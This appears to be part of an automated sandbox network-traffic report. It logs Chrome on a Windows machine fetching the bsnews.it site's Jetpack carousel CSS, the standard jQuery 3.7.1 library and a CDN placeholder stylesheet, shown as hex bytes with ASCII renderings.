2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 70 72 6f 67 72 65 73 73 62 61 72 Data Ascii: tainer-rtl>.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{transition:transform .2s,right .2s}.jp-carousel-overlay .swiper-pagination-progressbar{background:rgba(0,0,0,.25);position:absolute}.jp-carousel-overlay .swiper-pagination-progressbar
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 7a 6f 6f 6d 2d 63 6f 6e 74 61 69 6e 65 72 3e 63 61 6e 76 61 73 2c 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 7a 6f 6f 6d 2d 63 6f 6e 74 61 69 6e 65 72 3e 69 6d 67 2c 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 7a 6f 6f 6d 2d 63 6f 6e 74 61 69 6e 65 72 3e 73 76 67 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6f 62 6a 65 63 74 2d 66 69 74 3a 63 6f 6e 74 61 69 6e 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 Data Ascii: fy-content:center;text-align:center;width:100%}.jp-carousel-overlay .swiper-zoom-container>canvas,.jp-carousel-overlay .swiper-zoom-container>img,.jp-carousel-overlay .swiper-zoom-container>svg{max-height:100%;max-width:100%;object-fit:contain}.jp-carouse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	545	OUT	GET /c/6.4.3/wp-includes/js/jquery/jquery.min.js HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	534	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: application/javascript Content-Length: 87553 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 28 Aug 2023 17:14:23 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:50:59 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 1 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:50:59 UTC	835	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 37 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 2c 6f 3d 28 6e 3d 6e 7c 7c 43 29 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 69 66 28 6f 2e 74 65 78 74 3d 65 2c 74 29 66 6f 72 28 72 20 69 6e 20 75 29 28 69 3d 74 5b 72 5d 7c 7c 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 26 26 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 72 29 29 26 26 6f 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 65 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 5b 69 2e 63 61 Data Ascii: ,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[i.ca
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 73 2c 73 6f 72 74 3a 6f 65 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 6f 65 2e 73 70 6c 69 63 65 7d 2c 63 65 2e 65 78 74 65 6e 64 3d 63 65 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 28 6c 3d 61 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 73 5d 7c 7c 7b 7d 2c 73 2b 2b 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 76 28 61 29 7c 7c 28 61 3d 7b 7d Data Ascii: is.prevObject\|\|this.constructor()},push:s,sort:oe.sort,splice:oe.splice},ce.extend=ce.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|v(a)\|\|(a={}
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 20 65 3f 5b 65 5d 3a 65 29 3a 73 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 73 65 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 69 73 58 4d 4c 44 6f 63 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 21 6c 2e 74 65 73 74 28 74 7c 7c 6e 26 26 6e 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 48 54 4d 4c 22 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 Data Ascii: e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|\|e).documentElement;return!l.test(t\|\|n&&n.nodeName\|\|"HTML")},merge:function(e,t){for(var n=+t.length,r=0
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 72 2c 43 2c 64 2c 69 2c 6b 3d 6d 65 2c 53 3d 63 65 2e 65 78 70 61 6e 64 6f 2c 45 3d 30 2c 6e 3d 30 2c 73 3d 57 28 29 2c 63 3d 57 28 29 2c 75 3d 57 28 29 2c 68 3d 57 28 29 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 74 26 26 28 61 3d 21 30 29 2c 30 7d 2c 66 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 74 3d 22 28 3f 3a 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 67 65 Data Ascii: r,C,d,i,k=me,S=ce.expando,E=0,n=0,s=W(),c=W(),u=W(),h=W(),l=function(e,t){return e===t&&(a=!0),0},f="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",t="(?:\\\\[\\da-fA-F]{1,6}"+ge
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 56 28 29 7d 2c 52 3d 4a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 66 65 28 65 2c 22 66 69 65 6c 64 73 65 74 22 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 6b 2e 61 70 70 6c 79 28 6f 65 3d 61 65 2e 63 61 6c 6c 28 79 65 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 79 65 2e 63 68 69 6c 64 Data Ascii: )-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},M=function(){V()},R=J(function(e){return!0===e.disabled&&fe(e,"fieldset")},{dir:"parentNode",next:"legend"});try{k.apply(oe=ae.call(ye.childNodes),ye.child
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 29 7b 76 61 72 20 74 3d 54 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 42 28 74 29 Data Ascii: ){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function F(e){return e[S]=!0,e}function $(e){var t=T.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function B(t)
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 28 22 3a 73 63 6f 70 65 22 29 7d 29 2c 6c 65 2e 63 73 73 48 61 73 3d 24 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 54 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 3a 68 61 73 28 2a 2c 3a 6a 71 66 61 6b 65 29 22 29 2c 21 31 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 30 7d 7d 29 2c 6c 65 2e 67 65 74 42 79 49 64 3f 28 62 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 72 65 70 6c 61 63 65 28 4f 2c 50 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 74 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 Data Ascii: (":scope")}),le.cssHas=$(function(){try{return T.querySelector(":has(*,:jqfake)"),!1}catch(e){return!0}}),le.getById?(b.filter.ID=function(e){var t=e.replace(O,P);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 64 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 28 74 3d 54 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 72 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 64 3d 21 30 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 64 69 73 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 64 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 Data Ascii: ]"),e.querySelectorAll(":checked").length\|\|d.push(":checked"),(t=T.createElement("input")).setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),r.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&d.push(":enabled","
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 69 64 20 30 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 72 3f 72 3a 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 74 29 7d 2c 49 2e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 53 79 6e 74 61 78 20 65 72 72 6f 72 2c 20 75 6e 72 65 63 6f 67 6e 69 7a 65 64 20 65 78 70 72 65 73 73 69 6f 6e 3a 20 22 2b 65 29 7d 2c 63 65 2e 75 6e 69 71 75 65 53 6f 72 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3d 5b 5d 2c 72 3d 30 2c 69 3d 30 3b 69 66 28 61 3d 21 6c 65 2e 73 6f 72 74 53 74 61 62 6c 65 2c 6f 3d 21 6c 65 2e 73 6f 72 74 53 74 61 62 6c 65 26 26 61 65 2e 63 61 6c 6c 28 65 2c 30 29 2c 64 65 2e 63 61 6c 6c 28 65 2c 6c 29 2c 61 29 7b 77 68 69 6c 65 28 74 3d 65 5b 69 2b 2b 5d 29 74 3d Data Ascii: id 0;return void 0!==r?r:e.getAttribute(t)},I.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},ce.uniqueSort=function(e){var t,n=[],r=0,i=0;if(a=!le.sortStable,o=!le.sortStable&&ae.call(e,0),de.call(e,l),a){while(t=e[i++])t=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49753	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	554	OUT	GET /codesour/css/sourstyle.prod.css HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	646	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Content-Length: 120259 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Fri, 29 Dec 2023 10:07:27 GMT x-rgw-object-type: Normal ETag: "9a92a256ad6b9261063e3b640073a5b0-1" x-amz-request-id: tx000009b36ef2f7a48dcfb-00660228f1-51d0c38-prg X-77-NZT: AyUTzgQ3NzehnJI74jc3N/+CBgMAWbu8qZde7wA X-77-NZT-Ray: 8e305f1cc70b95a5732f05666b063138 X-Accel-Expires: @1711935985 X-Accel-Date: 1711417585 X-77-Cache: HIT X-77-Age: 198274 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:00 UTC	15738	IN	Data Raw: 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 39 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 63 64 6e 2e 63 6f 64 65 73 6f 75 72 2e 63 6f 6d 2f 63 6f 64 65 73 6f 75 72 2f 61 73 73 65 74 73 2f 63 6f 64 65 73 6f 75 72 2d 6c 6f 67 6f 2e 70 6e 67 29 20 35 30 25 20 63 65 6e 74 65 72 2f 34 30 70 78 20 6e 6f 2d 72 65 70 65 61 74 20 72 67 62 61 28 32 30 30 2c 32 30 30 2c 32 30 30 2c 2e 32 29 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 2d 77 65 62 6b Data Ascii: .sour-placeholder{position:relative;text-align:center;width:100%;min-height:90px;background:url(//cdn.codesour.com/codesour/assets/codesour-logo.png) 50% center/40px no-repeat rgba(200,200,200,.2);margin-bottom:2px;margin-left:auto;margin-right:auto;-webk
2024-03-28 08:51:00 UTC	16384	IN	Data Raw: 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 31 32 38 22 5d 7b 77 69 64 74 68 3a 31 32 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 31 32 38 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 34 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 31 32 39 22 5d 7b 77 69 64 74 68 3a 31 32 39 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 31 32 39 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 34 37 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 Data Ascii: older[sour-width="128"]{width:128px !important}.sour-placeholder[sour-height="128"]{min-height:146px !important}.sour-placeholder[sour-width="129"]{width:129px !important}.sour-placeholder[sour-height="129"]{min-height:147px !important}.sour-placeholder[s
2024-03-28 08:51:00 UTC	16384	IN	Data Raw: 3d 22 32 36 30 22 5d 7b 77 69 64 74 68 3a 32 36 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 32 36 30 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 37 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 32 36 31 22 5d 7b 77 69 64 74 68 3a 32 36 31 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 32 36 31 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 37 39 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 32 36 32 22 5d Data Ascii: ="260"]{width:260px !important}.sour-placeholder[sour-height="260"]{min-height:278px !important}.sour-placeholder[sour-width="261"]{width:261px !important}.sour-placeholder[sour-height="261"]{min-height:279px !important}.sour-placeholder[sour-width="262"]
2024-03-28 08:51:00 UTC	16384	IN	Data Raw: 32 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 33 39 32 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 34 31 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 33 39 33 22 5d 7b 77 69 64 74 68 3a 33 39 33 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 33 39 33 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 34 31 31 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 33 39 34 22 5d 7b 77 69 64 74 68 3a 33 39 34 70 78 20 21 69 6d Data Ascii: 2px !important}.sour-placeholder[sour-height="392"]{min-height:410px !important}.sour-placeholder[sour-width="393"]{width:393px !important}.sour-placeholder[sour-height="393"]{min-height:411px !important}.sour-placeholder[sour-width="394"]{width:394px !im
2024-03-28 08:51:00 UTC	16384	IN	Data Raw: 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 35 32 34 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 35 34 32 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 35 32 35 22 5d 7b 77 69 64 74 68 3a 35 32 35 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 35 32 35 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 35 34 33 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 35 32 36 22 5d 7b 77 69 64 74 68 3a 35 32 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c Data Ascii: sour-placeholder[sour-height="524"]{min-height:542px !important}.sour-placeholder[sour-width="525"]{width:525px !important}.sour-placeholder[sour-height="525"]{min-height:543px !important}.sour-placeholder[sour-width="526"]{width:526px !important}.sour-pl
2024-03-28 08:51:00 UTC	16384	IN	Data Raw: 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 36 35 36 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 36 37 34 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 36 35 37 22 5d 7b 77 69 64 74 68 3a 36 35 37 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 36 35 37 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 36 37 35 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 36 35 38 22 5d 7b 77 69 64 74 68 3a 36 35 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 Data Ascii: [sour-height="656"]{min-height:674px !important}.sour-placeholder[sour-width="657"]{width:657px !important}.sour-placeholder[sour-height="657"]{min-height:675px !important}.sour-placeholder[sour-width="658"]{width:658px !important}.sour-placeholder[sour-h
